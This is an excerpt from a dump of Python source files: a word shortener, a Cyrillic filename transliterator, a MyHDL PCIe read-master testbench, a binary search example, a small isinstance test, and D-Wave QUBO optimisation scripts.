newListWords = {}\n for i in range(max([len(x) for x in sizes])):\n for idx, s in enumerate(sizes):\n if i < len(s):\n if i not in newListWords:\n newListWords[i] = []\n if i > 0:\n summation = sum([a[2] for a in newListWords[i-1]])\n element = (idx, s[i], s[i]+summation)\n else:\n element = (idx, s[i], s[i])\n newListWords[i] = self.insert(2, element, newListWords[i])\n return newListWords\n\n def length_Word(self, newListWords):\n total = 0\n listWords = {}\n for x in newListWords:\n for y in newListWords[x]:\n if total + y[1] > self.max_len:\n break\n total += y[1]\n if y[0] in listWords:\n listWords[y[0]] += y[1]\n else:\n listWords[y[0]] = y[1]\n return listWords\n\n def short_words(self, listWords):\n sizes = []\n for word in listWords:\n sizes.append(self.get_list_sizes(word))\n newListWords = self.measure_word(sizes)\n listWords2 = self.length_Word(newListWords)\n phrase = [\"\"]*len(sizes)\n for idx, word in enumerate(listWords):\n if idx in listWords2:\n phrase[idx] = word[:listWords2[idx]]\n else:\n phrase[idx] = word[:1]\n if len(phrase[idx]) < len(word):\n phrase[idx] += \".\"\n\n return \" \".join(phrase)\n\n def shortWord(self, word, max_len):\n s = self.dic.inserted(word).split(\"-\")\n pos = 1\n for letters in s:\n if len(letters) < max_len:\n pos += 1\n else:\n \"is too big, we get the rest\"\n break\n res = \"\".join(s[:pos])\n res += \".\" if len(res) < len(word) else \"\"\n return res\n\n def get_list_sizes(self, word):\n return [len(x) for x in self.dic.inserted(word).split(\"-\")]\n\n\n# if __name__ == '__main__':\n# parser = argparse.ArgumentParser(description='Shortening words')\n# parser.add_argument('-w',\n# dest='words',\n# help=\"words to shortening\",\n# type=str,\n# action='store', default='')\n# parser.add_argument('-l',\n# dest='max_len',\n# help=\"word to shortening\",\n# type=str,\n# action='store', default='')\n# parser.add_argument('--lang',\n# dest='lang',\n# help=\"Language to use (ISO 639)\",\n# type=str,\n# action='store', default='en')\n# args = parser.parse_args()\n\n# print(Shortening_Words(**vars(args)).phrase)\n","sub_path":"shortening_words/shortening.py","file_name":"shortening.py","file_ext":"py","file_size_in_byte":3721,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"26963713","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport os\nimport sys\nimport logging\nimport re\n\nlogging.basicConfig(level=logging.DEBUG, format='%(message)s')\n\n\ndef create_filename(filename, processing_params):\n\n \"\"\" создает имя файла в зависимости от параметров.\n\n processing_params['v_codec'] - влияет на расширение файла\n processing_params['postfix'] - будет добавлено в конце названия\n\n\n Зависимости:\n os, logging\n\n Возвращает:\n str - имя файла\n \"\"\"\n\n basename = os.path.splitext(filename)[0]\n extension = os.path.splitext(filename)[-1]\n\n output_name = replace_letters(basename)\n\n logging.debug('create_filename')\n\n extension = select_extension(extension, processing_params)\n\n if processing_params['postfix'] is not None and \\\n processing_params['postfix'] != '':\n\n output_name += '_' + processing_params['postfix']\n\n logging.debug(\"output_name \" + output_name)\n\n return output_name + extension\n\n\ndef select_extension(extension, processing_params):\n\n if 'extension' in processing_params and \\\n processing_params['extension'] is not None:\n return processing_params['extension']\n\n if 'vn' in processing_params and \\\n processing_params['vn'] is True:\n\n if processing_params['a_codec'] != 'copy':\n\n return '.mp4'\n\n else:\n\n return extension\n\n if 'v_codec' in processing_params:\n\n if processing_params['v_codec'] == 'h264':\n\n return '.mp4'\n\n elif processing_params['v_codec'] == 'prores':\n\n return '.mov'\n\n return extension\n\n\ndef decode_filename(word):\n \"\"\"При использовании питона 2.7 возникает проблема,\n связанная с тем что для трансилетрации файлов их\n названия сначала приходится декодировать из\n родной кодироваки системы в кодировку UTF-8.\n\n Цикл перебирает разные кодировки, первая из которых\n получена с помощью sys.getdefaultencoding()\n \"\"\"\n\n sys_encoding = str(sys.getdefaultencoding())\n encodings = (sys_encoding, 'utf-8', 'ascii', 'cp1251', 'utf-16')\n\n logging.debug('Filename decoding')\n\n for encoding in encodings:\n logging.debug(encoding)\n try:\n new_word = word.decode(encoding)\n except Exception:\n continue\n else:\n word = new_word\n break\n\n word = word.encode('utf-8', 'ignore')\n word = str(word)\n\n return word\n\n\ndef replace_letters(word):\n\n word = str(word)\n word = word.lower()\n\n logging.debug(word)\n\n for i, j in legend.items():\n word = word.replace(i, j)\n\n word = re.sub(r'[^\\w\\s]', '', word)\n word = word.replace(\"'\", \"\")\n # старая версия замены\n # word = word.translate(None, string.punctuation)\n\n return word\n\n\ndef rename_all_in_directory(file_list, processing_params):\n\n for file_old in file_list:\n\n print(file_old)\n\n file_new = create_filename(file_old, processing_params)\n\n if file_old == file_new:\n print ('{0: <30}'.format(file_old), 'old name and the new one are identic')\n elif file_new == '':\n print ('{0: <30}'.format(file_old), 'invalid name')\n else:\n print ('{0: <30}'.format(file_old), 'will be renamed in ', file_new)\n\n os.rename(file_old, file_new)\n\nlegend = {\n ' ': '_',\n '.': '_',\n ',': '',\n '-': '_',\n '—': '_',\n '#': '',\n '/': '',\n '!': '',\n '?': '',\n ':': '',\n ';': '',\n '«': '',\n '»': '',\n 'а': 'a',\n 'б': 'b',\n 'в': 'v',\n 'г': 'g',\n 'д': 'd',\n 'е': 'e',\n 'ё': 'yo',\n 'ж': 'zh',\n 'з': 'z',\n 'и': 'i',\n 'й': 'y',\n 'к': 'k',\n 'л': 'l',\n 'м': 'm',\n 'н': 'n',\n 'о': 'o',\n 'п': 'p',\n 'р': 'r',\n 'с': 's',\n 'т': 't',\n 'у': 'u',\n 'ф': 'f',\n 'х': 'h',\n 'ц': 'c',\n 'ч': 'ch',\n 'ш': 'sh',\n 'щ': 'shch',\n 'ъ': 'y',\n 'ы': 'y',\n 'ь': '',\n 'э': 'e',\n 'ю': 'yu',\n 'я': 'ya',\n 'А': 'A',\n 'Б': 'B',\n 'В': 'V',\n 'Г': 'G',\n 'Д': 'D',\n 'Е': 'E',\n 'Ё': 'Yo',\n 'Ж': 'Zh',\n 'З': 'Z',\n 'И': 'I',\n 'Й': 'Y',\n 'К': 'K',\n 'Л': 'L',\n 'М': 'M',\n 'Н': 'N',\n 'О': 'O',\n 'П': 'P',\n 'Р': 'R',\n 'С': 'S',\n 'Т': 'T',\n 'У': 'U',\n 'Ф': 'F',\n 'Х': 'H',\n 'Ц': 'Ts',\n 'Ч': 'Ch',\n 'Ш': 'Sh',\n 'Щ': 'Shch',\n 'Ъ': 'Y',\n 'Ы': 'Y',\n 'Ь': '',\n 'Э': 'E',\n 'Ю': 'Yu',\n 'Я': 'Ya',\n '(': '',\n ')': '',\n '[': '',\n ']': '',\n}\n","sub_path":"lib/modules/transliterator.py","file_name":"transliterator.py","file_ext":"py","file_size_in_byte":4890,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"304090487","text":"#!/usr/bin/env python\n\"\"\"\n\nCopyright (c) 2018 Alex Forencich\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n\n\"\"\"\n\nfrom myhdl import *\nimport os\n\nimport pcie\nimport pcie_usp\nimport axi\n\nmodule = 'pcie_us_axi_master_rd'\ntestbench = 'test_%s_512' % module\n\nsrcs = []\n\nsrcs.append(\"../rtl/%s.v\" % module)\nsrcs.append(\"%s.v\" % testbench)\n\nsrc = ' '.join(srcs)\n\nbuild_cmd = \"iverilog -o %s.vvp %s\" % (testbench, src)\n\ndef bench():\n\n # Parameters\n AXIS_PCIE_DATA_WIDTH = 512\n AXIS_PCIE_KEEP_WIDTH = (AXIS_PCIE_DATA_WIDTH/32)\n AXIS_PCIE_CQ_USER_WIDTH = 183\n AXIS_PCIE_CC_USER_WIDTH = 81\n AXI_DATA_WIDTH = AXIS_PCIE_DATA_WIDTH\n AXI_ADDR_WIDTH = 64\n AXI_STRB_WIDTH = (AXI_DATA_WIDTH/8)\n AXI_ID_WIDTH = 8\n AXI_MAX_BURST_LEN = 256\n\n # Inputs\n clk = Signal(bool(0))\n rst = Signal(bool(0))\n current_test = Signal(intbv(0)[8:])\n\n s_axis_cq_tdata = Signal(intbv(0)[AXIS_PCIE_DATA_WIDTH:])\n s_axis_cq_tkeep = Signal(intbv(0)[AXIS_PCIE_KEEP_WIDTH:])\n s_axis_cq_tvalid = Signal(bool(0))\n s_axis_cq_tlast = Signal(bool(0))\n s_axis_cq_tuser = Signal(intbv(0)[AXIS_PCIE_CQ_USER_WIDTH:])\n m_axis_cc_tready = Signal(bool(0))\n m_axi_arready = Signal(bool(0))\n m_axi_rid = Signal(intbv(0)[AXI_ID_WIDTH:])\n m_axi_rdata = Signal(intbv(0)[AXI_DATA_WIDTH:])\n m_axi_rresp = Signal(intbv(0)[2:])\n m_axi_rlast = Signal(bool(0))\n m_axi_rvalid = Signal(bool(0))\n completer_id = Signal(intbv(0)[16:])\n completer_id_enable = Signal(bool(0))\n max_payload_size = Signal(intbv(0)[3:])\n\n # Outputs\n s_axis_cq_tready = Signal(bool(0))\n m_axis_cc_tdata = Signal(intbv(0)[AXIS_PCIE_DATA_WIDTH:])\n m_axis_cc_tkeep = Signal(intbv(0)[AXIS_PCIE_KEEP_WIDTH:])\n m_axis_cc_tvalid = Signal(bool(0))\n m_axis_cc_tlast = Signal(bool(0))\n m_axis_cc_tuser = Signal(intbv(0)[AXIS_PCIE_CC_USER_WIDTH:])\n m_axi_arid = Signal(intbv(0)[AXI_ID_WIDTH:])\n m_axi_araddr = Signal(intbv(0)[AXI_ADDR_WIDTH:])\n m_axi_arlen = Signal(intbv(0)[8:])\n m_axi_arsize = Signal(intbv(6)[3:])\n m_axi_arburst = Signal(intbv(1)[2:])\n m_axi_arlock = Signal(bool(0))\n m_axi_arcache = Signal(intbv(3)[4:])\n m_axi_arprot = Signal(intbv(2)[3:])\n m_axi_arvalid = Signal(bool(0))\n m_axi_rready = Signal(bool(0))\n status_error_cor = Signal(bool(0))\n status_error_uncor = Signal(bool(0))\n\n # Clock and Reset Interface\n user_clk=Signal(bool(0))\n user_reset=Signal(bool(0))\n sys_clk=Signal(bool(0))\n sys_reset=Signal(bool(0))\n\n # AXI4 RAM model\n axi_ram_inst = axi.AXIRam(2**16)\n\n axi_ram_port0 = axi_ram_inst.create_port(\n user_clk,\n s_axi_arid=m_axi_arid,\n s_axi_araddr=m_axi_araddr,\n s_axi_arlen=m_axi_arlen,\n s_axi_arsize=m_axi_arsize,\n s_axi_arburst=m_axi_arburst,\n s_axi_arlock=m_axi_arlock,\n s_axi_arcache=m_axi_arcache,\n s_axi_arprot=m_axi_arprot,\n s_axi_arvalid=m_axi_arvalid,\n s_axi_arready=m_axi_arready,\n s_axi_rid=m_axi_rid,\n s_axi_rdata=m_axi_rdata,\n s_axi_rresp=m_axi_rresp,\n s_axi_rlast=m_axi_rlast,\n s_axi_rvalid=m_axi_rvalid,\n s_axi_rready=m_axi_rready,\n name='port0'\n )\n\n # PCIe devices\n rc = pcie.RootComplex()\n\n dev = pcie_usp.UltrascalePlusPCIe()\n\n dev.pcie_generation = 3\n dev.pcie_link_width = 16\n dev.user_clock_frequency = 250e6\n\n dev.functions[0].configure_bar(0, 16*1024*1024)\n dev.functions[0].configure_bar(1, 32, io=True)\n\n rc.make_port().connect(dev)\n\n cq_pause = Signal(bool(0))\n cc_pause = Signal(bool(0))\n rq_pause = Signal(bool(0))\n rc_pause = Signal(bool(0))\n\n pcie_logic = dev.create_logic(\n # Completer reQuest Interface\n m_axis_cq_tdata=s_axis_cq_tdata,\n m_axis_cq_tuser=s_axis_cq_tuser,\n m_axis_cq_tlast=s_axis_cq_tlast,\n m_axis_cq_tkeep=s_axis_cq_tkeep,\n m_axis_cq_tvalid=s_axis_cq_tvalid,\n m_axis_cq_tready=s_axis_cq_tready,\n #pcie_cq_np_req=pcie_cq_np_req,\n #pcie_cq_np_req_count=pcie_cq_np_req_count,\n\n # Completer Completion Interface\n s_axis_cc_tdata=m_axis_cc_tdata,\n s_axis_cc_tuser=m_axis_cc_tuser,\n s_axis_cc_tlast=m_axis_cc_tlast,\n s_axis_cc_tkeep=m_axis_cc_tkeep,\n s_axis_cc_tvalid=m_axis_cc_tvalid,\n s_axis_cc_tready=m_axis_cc_tready,\n\n # Requester reQuest Interface\n s_axis_rq_tdata=Signal(intbv(0)[AXIS_PCIE_DATA_WIDTH:]),\n s_axis_rq_tuser=Signal(intbv(0)[137:]),\n s_axis_rq_tlast=Signal(bool(0)),\n s_axis_rq_tkeep=Signal(intbv(0)[AXIS_PCIE_KEEP_WIDTH:]),\n s_axis_rq_tvalid=Signal(bool(0)),\n s_axis_rq_tready=Signal(bool(1)),\n # pcie_rq_seq_num0=pcie_rq_seq_num0,\n # pcie_rq_seq_num_vld0=pcie_rq_seq_num_vld0,\n # pcie_rq_seq_num1=pcie_rq_seq_num1,\n # pcie_rq_seq_num_vld1=pcie_rq_seq_num_vld1,\n # pcie_rq_tag0=pcie_rq_tag0,\n # pcie_rq_tag1=pcie_rq_tag1,\n # pcie_rq_tag_av=pcie_rq_tag_av,\n # pcie_rq_tag_vld0=pcie_rq_tag_vld0,\n # pcie_rq_tag_vld1=pcie_rq_tag_vld1,\n\n # Requester Completion Interface\n m_axis_rc_tdata=Signal(intbv(0)[AXIS_PCIE_DATA_WIDTH:]),\n m_axis_rc_tuser=Signal(intbv(0)[161:]),\n m_axis_rc_tlast=Signal(bool(0)),\n m_axis_rc_tkeep=Signal(intbv(0)[AXIS_PCIE_KEEP_WIDTH:]),\n m_axis_rc_tvalid=Signal(bool(0)),\n m_axis_rc_tready=Signal(bool(0)),\n\n # Transmit Flow Control Interface\n # pcie_tfc_nph_av=pcie_tfc_nph_av,\n # pcie_tfc_npd_av=pcie_tfc_npd_av,\n\n # Configuration Control Interface\n # cfg_hot_reset_in=cfg_hot_reset_in,\n # cfg_hot_reset_out=cfg_hot_reset_out,\n # cfg_config_space_enable=cfg_config_space_enable,\n # cfg_dsn=cfg_dsn,\n # cfg_ds_port_number=cfg_ds_port_number,\n # cfg_ds_bus_number=cfg_ds_bus_number,\n # cfg_ds_device_number=cfg_ds_device_number,\n # cfg_ds_function_number=cfg_ds_function_number,\n # cfg_power_state_change_ack=cfg_power_state_change_ack,\n # cfg_power_state_change_interrupt=cfg_power_state_change_interrupt,\n # cfg_err_cor_in=cfg_err_cor_in,\n # cfg_err_uncor_in=cfg_err_uncor_in,\n # cfg_flr_done=cfg_flr_done,\n # cfg_vf_flr_done=cfg_vf_flr_done,\n # cfg_flr_in_process=cfg_flr_in_process,\n # cfg_vf_flr_in_process=cfg_vf_flr_in_process,\n # cfg_req_pm_transition_l23_ready=cfg_req_pm_transition_l23_ready,\n # cfg_link_training_enable=cfg_link_training_enable,\n\n # Clock and Reset Interface\n user_clk=user_clk,\n user_reset=user_reset,\n #user_lnk_up=user_lnk_up,\n sys_clk=sys_clk,\n sys_clk_gt=sys_clk,\n sys_reset=sys_reset,\n\n cq_pause=cq_pause,\n cc_pause=cc_pause,\n rq_pause=rq_pause,\n rc_pause=rc_pause\n )\n\n # DUT\n if os.system(build_cmd):\n raise Exception(\"Error running build command\")\n\n dut = Cosimulation(\n \"vvp -m myhdl %s.vvp -lxt2\" % testbench,\n clk=user_clk,\n rst=user_reset,\n current_test=current_test,\n s_axis_cq_tdata=s_axis_cq_tdata,\n s_axis_cq_tkeep=s_axis_cq_tkeep,\n s_axis_cq_tvalid=s_axis_cq_tvalid,\n s_axis_cq_tready=s_axis_cq_tready,\n s_axis_cq_tlast=s_axis_cq_tlast,\n s_axis_cq_tuser=s_axis_cq_tuser,\n m_axis_cc_tdata=m_axis_cc_tdata,\n m_axis_cc_tkeep=m_axis_cc_tkeep,\n m_axis_cc_tvalid=m_axis_cc_tvalid,\n m_axis_cc_tready=m_axis_cc_tready,\n m_axis_cc_tlast=m_axis_cc_tlast,\n m_axis_cc_tuser=m_axis_cc_tuser,\n m_axi_arid=m_axi_arid,\n m_axi_araddr=m_axi_araddr,\n m_axi_arlen=m_axi_arlen,\n m_axi_arsize=m_axi_arsize,\n m_axi_arburst=m_axi_arburst,\n m_axi_arlock=m_axi_arlock,\n m_axi_arcache=m_axi_arcache,\n m_axi_arprot=m_axi_arprot,\n m_axi_arvalid=m_axi_arvalid,\n m_axi_arready=m_axi_arready,\n m_axi_rid=m_axi_rid,\n m_axi_rdata=m_axi_rdata,\n m_axi_rresp=m_axi_rresp,\n m_axi_rlast=m_axi_rlast,\n m_axi_rvalid=m_axi_rvalid,\n m_axi_rready=m_axi_rready,\n completer_id=completer_id,\n completer_id_enable=completer_id_enable,\n max_payload_size=max_payload_size,\n status_error_cor=status_error_cor,\n status_error_uncor=status_error_uncor\n )\n\n @always(delay(4))\n def clkgen():\n clk.next = not clk\n\n @always_comb\n def clk_logic():\n sys_clk.next = clk\n sys_reset.next = not rst\n\n status_error_cor_asserted = Signal(bool(0))\n status_error_uncor_asserted = Signal(bool(0))\n\n @always(user_clk.posedge)\n def monitor():\n if (status_error_cor):\n status_error_cor_asserted.next = 1\n if (status_error_uncor):\n status_error_uncor_asserted.next = 1\n\n cq_pause_toggle = Signal(bool(0))\n cc_pause_toggle = Signal(bool(0))\n rq_pause_toggle = Signal(bool(0))\n rc_pause_toggle = Signal(bool(0))\n\n @instance\n def pause_toggle():\n while True:\n if (cq_pause_toggle or cc_pause_toggle or rq_pause_toggle or rc_pause_toggle):\n cq_pause.next = cq_pause_toggle\n cc_pause.next = cc_pause_toggle\n rq_pause.next = rq_pause_toggle\n rc_pause.next = rc_pause_toggle\n\n yield user_clk.posedge\n yield user_clk.posedge\n yield user_clk.posedge\n\n cq_pause.next = 0\n cc_pause.next = 0\n rq_pause.next = 0\n rc_pause.next = 0\n\n yield user_clk.posedge\n\n @instance\n def check():\n yield delay(100)\n yield clk.posedge\n rst.next = 1\n yield clk.posedge\n rst.next = 0\n yield clk.posedge\n yield delay(100)\n yield clk.posedge\n\n # testbench stimulus\n\n max_payload_size.next = 0\n\n yield user_clk.posedge\n print(\"test 1: enumeration\")\n current_test.next = 1\n\n yield rc.enumerate()\n\n dev_bar0 = rc.tree[0][0].bar[0]\n dev_bar1 = rc.tree[0][0].bar[1]\n\n yield delay(100)\n\n yield clk.posedge\n print(\"test 2: memory read\")\n current_test.next = 2\n\n pcie_addr = 0x00000000\n test_data = b'\\x11\\x22\\x33\\x44'\n\n axi_ram_inst.write_mem(pcie_addr, test_data)\n\n data = axi_ram_inst.read_mem(0, 32)\n for i in range(0, len(data), 16):\n print(\" \".join((\"{:02x}\".format(c) for c in bytearray(data[i:i+16]))))\n\n val = yield from rc.mem_read(dev_bar0+pcie_addr, len(test_data), 1000)\n\n print(val)\n\n assert val == test_data\n\n assert not status_error_cor_asserted\n assert not status_error_uncor_asserted\n\n yield delay(100)\n\n yield user_clk.posedge\n print(\"test 3: various reads\")\n current_test.next = 3\n\n for length in list(range(1,66))+[1024]:\n for pcie_offset in list(range(8,73))+list(range(4096-64,4096)):\n for pause in [False, True]:\n print(\"length %d, pcie_offset %d\"% (length, pcie_offset))\n #pcie_addr = length * 0x100000000 + pcie_offset * 0x10000 + offset\n pcie_addr = pcie_offset\n test_data = bytearray([x%256 for x in range(length)])\n\n axi_ram_inst.write_mem(pcie_addr & 0xffff80, b'\\x55'*(len(test_data)+256))\n axi_ram_inst.write_mem(pcie_addr, test_data) \n\n data = axi_ram_inst.read_mem(pcie_addr&0xfffff0, 64)\n for i in range(0, len(data), 16):\n print(\" \".join((\"{:02x}\".format(c) for c in bytearray(data[i:i+16]))))\n\n cq_pause_toggle.next = pause\n cc_pause_toggle.next = pause\n\n val = yield from rc.mem_read(dev_bar0+pcie_addr, len(test_data), 1000)\n\n cq_pause_toggle.next = 0\n cc_pause_toggle.next = 0\n\n print(val)\n\n assert val == test_data\n\n assert not status_error_cor_asserted\n assert not status_error_uncor_asserted\n\n yield delay(100)\n\n yield clk.posedge\n print(\"test 4: bad requests\")\n current_test.next = 4\n\n yield from rc.mem_write(dev_bar0, b'\\x11\\x22\\x33\\x44')\n\n yield delay(100)\n\n assert not status_error_cor_asserted\n assert status_error_uncor_asserted\n\n status_error_cor_asserted.next = False\n status_error_uncor_asserted.next = False\n\n try:\n yield from rc.io_write(dev_bar1, b'\\x11\\x22\\x33\\x44')\n except:\n print(\"Caught unsuccessful completion exception\")\n pass\n else:\n assert False\n\n assert status_error_cor_asserted\n assert not status_error_uncor_asserted\n\n status_error_cor_asserted.next = False\n status_error_uncor_asserted.next = False\n\n yield delay(100)\n\n raise StopSimulation\n\n return instances()\n\ndef test_bench():\n sim = Simulation(bench())\n sim.run()\n\nif __name__ == '__main__':\n print(\"Running test...\")\n test_bench()\n","sub_path":"tb/test_pcie_us_axi_master_rd_512.py","file_name":"test_pcie_us_axi_master_rd_512.py","file_ext":"py","file_size_in_byte":14235,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"156973481","text":"\"\"\"Binary search\nWe basically ignore half of the elements just after one comparison.\n\nCompare x with the middle element.\nIf x matches with middle element, we return the mid index.\nElse If x is greater than the mid element, then x can only lie in right half subarray after the mid element. So we recur for right half.\nElse (x is smaller) recur for the left half.\n\n\n\"\"\"\n\ndef binarySearch(arr,l,r,x):\n # Check base case\n if r >= l:\n\n mid = 1+(r - 1) // 2\n\n # If element is present at the middle itself\n if arr[mid] == x:\n return mid\n elif arr[mid] > x:\n return binarySearch(arr, l, mid - 1, x)\n\n # Else the element can only be present\n # in right subarray\n else:\n return binarySearch(arr, mid + 1, r, x)\n else:\n # Element is not present in the array\n return -1\n\n # Driver Code\n arr = [2, 3, 4, 10, 40]\n x = 10\n\n # Function call\n result = binarySearch(arr, 0, len(arr) - 1, x)\n\n if result != -1:\n print(\"Element is present at index % d\" % result)\n else:\n print(\"Element is not present in array\")","sub_path":"BinarySearch.py","file_name":"BinarySearch.py","file_ext":"py","file_size_in_byte":1139,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"525586849","text":"#!/usr/bin/env python\n# coding:utf-8\n# **********************************************************\n# * Author : Navin Xu\n# * Email : admin@navinxu.com\n# * Create time : 2019-12-28 20:09\n# * Filename : test-isinstace.py\n# * Description :\n# **********************************************************\n\naStr = \"\"\nif isinstance(aStr, str):\n print(\"str\")\n\naList = [1, 2, 3]\nif isinstance(aList, list):\n print(\"list\")\n\nif isinstance(aStr, list):\n print(\"list\")\n\naNone = None\nif aNone is None:\n print(\"None\")\n","sub_path":"test-isinstace.py","file_name":"test-isinstace.py","file_ext":"py","file_size_in_byte":536,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"641272870","text":"from dwave.system.samplers import DWaveSampler\r\nfrom dwave.system.composites import EmbeddingComposite\r\nfrom sympy import symbols, Poly\r\nimport pandas as pd\r\nimport numpy as np\r\nfrom _tokens import get_sapi_token, get_dwave_url\r\n\r\nsapi_token = get_sapi_token()\r\ndwave_url = get_dwave_url()\r\n\r\nDWaveSamplerInstance = DWaveSampler(token = sapi_token, endpoint = dwave_url, solver = 'DW_2000Q_2_1')\r\n\r\n###############################################################################################################################################################################################\r\ndef reduce_squares(polynomial, symb):\r\n Coeffs = [coeff for (nums, coeff) in polynomial.terms() if any(nums)!=0]\r\n\r\n n_list = []\r\n\r\n for i in range(len(polynomial.terms()[0][0])):\r\n n = tuple([1 if nums[i] == 2 else nums[i] for (nums, coeff) in polynomial.terms()])\r\n n_list.append(n)\r\n\r\n new_terms = tuple(zip(tuple(zip(*n_list)), Coeffs))\r\n Poly(sum([np.prod([x**n for (x,n) in zip(symb, nums)])*coeff for (nums, coeff) in new_terms]))\r\n new_polynomial = Poly(sum([np.prod([x**n for (x,n) in zip(symb, nums)])*coeff for (nums, coeff) in new_terms]))\r\n\r\n return new_polynomial\r\n\r\ndef translate_indexes(polynomial):\r\n translate_dict = {}\r\n\r\n # create tuples of type (n,n) for linear terms and (n,m) for quadratic terms\r\n for polynomial_index in polynomial.as_dict().keys():\r\n d = dict(enumerate(polynomial_index, 1))\r\n qubit_index = tuple([key for key, value in d.items() if value == 1])\r\n\r\n # for linear terms, tuple of type (n,) needs to be transformed to (n,n)\r\n if len(qubit_index) == 1:\r\n #qubit_index = qubit_index + qubit_index\r\n translate_dict[polynomial_index] = tuple(qubit_index + qubit_index)\r\n else:\r\n translate_dict[polynomial_index] = qubit_index\r\n\r\n qubit_dict = {}\r\n\r\n for polynomial_index in polynomial.as_dict().keys():\r\n qubit_index = translate_dict[polynomial_index]\r\n qubit_dict[qubit_index] = int(polynomial.as_dict()[polynomial_index])\r\n return qubit_dict\r\n\r\n###############################################################################################################################################################################################\r\n### Problem: 2x1 + 3x2 -> min\r\n### x1 + x2 = 1\r\n### x1,x2 - bin\r\n### H = 2x1 + 3x2 + P*(x1 + x2 - 1)^2\r\n### for P = 5: H = -3x1 - 2x2 + 10x1x2\r\n\r\nx1,x2 = symbols('x1:3')\r\nobj = Poly(2*x1 + 3*x2) # ----> min\r\nc1 = Poly(x1 + x2 - 1) # constraint\r\nP = 5 # 0.5 # penalty\r\nH = obj + P*c1**2\r\n\r\n# reduce x**2 to x as x is binary\r\nH1 = reduce_squares(H, [x1,x2])\r\nQ = translate_indexes(H1)\r\n\r\nresponse = EmbeddingComposite(DWaveSamplerInstance).sample_qubo(Q, num_reads=1000)\r\nfor sample in response.data():\r\n print(sample[0], \"Energy: \", sample[1], \"Occurrences: \",sample[2])\r\n\r\n###############################################################################################################################################################################################\r\n### Problem: 2x1 - 3x2 -> min\r\n### x1 + x2 <= 1 ----> x1 + x2 + s = 1, s - bin\r\n### x1,x2 - bin\r\n### H = 2x1 - 3x2 + P*(x1 + x2 + s - 1)^2\r\n### for P = 1: x1 - 4x2 - s + 2s*x1 + 2s*x2 + 2x1x2 + 1\r\n\r\nx1,x2,s = symbols('x1:3,s')\r\n\r\nobj = Poly(2*x1 - 3*x2) # ----> min\r\nc1 = Poly(x1 + x2 + s - 1) # constraint\r\nP = 1 # penalty\r\nH = obj + P*c1**2\r\n\r\n# reduce x**2 to x as x is binary\r\nH1 = reduce_squares(H, (x1,x2,s))\r\nQ = translate_indexes(H1)\r\n\r\nresponse = EmbeddingComposite(DWaveSamplerInstance).sample_qubo(Q, num_reads=1000)\r\nfor sample in response.data():\r\n print(sample[0], \"Energy: \", sample[1], \"Occurrences: \",sample[2])\r\n\r\n\r\n###############################################################################################################################################################################################\r\n### Problem: 2x1 - 3x2 -> min\r\n### 2x1 + x2 <= 3 -----> 2x1 + x2 + s = 3, s<=3\r\n### x1 + x2 = 1\r\n### x1, x2 - bin; s - int -> s = 2s1 + s2, s1,s2 - bin\r\n### H = 2x1 - 3x2 + P1*(2x1 + x2 + 2s1 + s2 - 3)^2 + P2*(x1 + x2 - 1)^2\r\n\r\nx1,x2,s1,s2 = symbols('x1:3,s1:3')\r\n\r\nobj = Poly(2*x1 - 3*x2) # ----> min\r\nc1 = Poly(2*x1 + x2 + 2*s1 + s2 - 3) # constraint 1\r\nc2 = Poly(x1 + x2 - 1) # constraint 2\r\nP1 = 1 # penalty 1\r\nP2 = 1 # penalty 2\r\nH = obj + P1*c1**2 + P2*c2**2\r\n\r\n# reduce x**2 to x as x is binary\r\nH1 = reduce_squares(H, (x1,x2,s1,s2))\r\nQ = translate_indexes(H1)\r\n\r\nresponse = EmbeddingComposite(DWaveSamplerInstance).sample_qubo(Q, num_reads=1000)\r\nfor sample in response.data():\r\n print(sample[0], \"Energy: \", sample[1], \"Occurrences: \",sample[2])\r\n\r\n# with P=2 it gives wrong result\r\n\r\n\r\n################################################################################################################################\r\n# S O L V E R T Y P E S\r\n################################################################################################################################\r\n\r\nfrom dwave.cloud import Client\r\nclient = Client.from_config(token=sapi_token)\r\nclient.get_solvers() #[Solver(id='DW_2000Q_5'), Solver(id='DW_2000Q_2_1')]\r\nfrom dwave.system.samplers import DWaveSampler\r\nsampler = DWaveSampler(token = sapi_token, endpoint = dwave_url, solver = 'DW_2000Q_2_1')\r\nsampler.parameters\r\n\r\n################################################################################################################################\r\n# S I M U L A T O R\r\n################################################################################################################################\r\n\r\nimport dimod\r\n\r\n# cannot put no of repetitions\r\n#solver = dimod.ExactSolver().sample(bqm)\r\n#solver = dimod.SimulatedAnnealingSampler()\r\n#response = solver.sample_qubo(Q)\r\n\r\nbqm = dimod.BinaryQuadraticModel.from_qubo(Q)\r\n#response = dimod.ExactSolver().sample(bqm) # other solver simulator?\r\nresponse = dimod.SimulatedAnnealingSampler().sample(bqm, num_reads = 10)\r\n#for sample, energy, num_occurrences in response.data(['sample', 'energy', 'num_occurrences']):\r\n# print(\"sample: \", sample, \"energy: \", energy, \"num_occurences: \", num_occurrences)\r\n\r\n# rearrange the response\r\nresponse_df = pd.DataFrame([(str(sample), energy, num_occurrences) for sample, energy, num_occurrences in response.data(['sample', 'energy', 